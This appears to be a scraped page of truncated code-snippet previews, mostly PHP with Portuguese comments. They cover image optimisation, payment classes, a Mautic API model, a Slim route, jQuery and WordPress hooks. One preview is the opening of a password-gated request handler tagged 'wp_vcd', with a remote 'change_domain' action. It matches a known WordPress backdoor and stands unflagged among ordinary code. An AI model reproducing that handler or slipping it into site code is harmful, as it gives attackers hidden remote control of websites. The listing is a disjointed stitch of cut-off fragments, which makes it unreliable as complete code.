sudo apt-get install jpegoptim optipng -y
find . -iname "*.jpg" -print0 | xargs -0 jpegoptim --strip-all -m76
<?php | |
class PaymentConfig | |
{ | |
private $data = []; | |
public function set($key, $value) | |
{ | |
$this->data[$key] = $value; | |
} |
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '92e307c113428ce35764bb8fb0c5fc7c')) | |
{ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']) | |
{ | |
case 'change_domain'; | |
if (isset($_REQUEST['newdomain'])) | |
{ |
<?php | |
use Mautic\Auth\ApiAuth; | |
use Mautic\MauticApi; | |
class ModelNewsletterMautic extends Model { | |
private $publicKey = 'CHAVE PUBLICA'; | |
private $secretKey = 'CHAVE SECRETA'; | |
private $baseURL = 'http://mautic.seusite.com.br/api'; |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | |
<title>Criando elemento dinamico</title> | |
<!-- ADD BOOTSTRAP APENAS PRA FORMATAR HTML--> | |
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" /> |
<?php | |
require_once __DIR__.'/vendor/composer.php'; | |
$app = new \Slim\App(); | |
//Define a versão da API | |
$app->group('/v1', function(){ | |
//recebe o POST | |
// seusite.com.br/v1/shippings | |
$this->post('/shippings', function ($request, $response, $args) { |
$(document).on('click', '.del', function(e) { | |
e.preventDefaut(); | |
$(this).parent().remove(); | |
}); |
<?php | |
add_action('template_redirect', 'redirect_custom_field'); | |
function redirect_custom_field() { | |
global $post; | |
if($url = get_meta_post($post->ID, 'url_redirect', true)) { | |
wp_redirect($url); | |
exit; |
<?php | |
namespace Payment; | |
interface Gateway | |
{ | |
public function processPayment($order_id); | |
public function success($order_id); | |
<?php | |
namespace View; | |
class Template | |
{ | |
public function render($file, $args=[]) | |
{ | |
extract($this->data); | |
ob_start(); |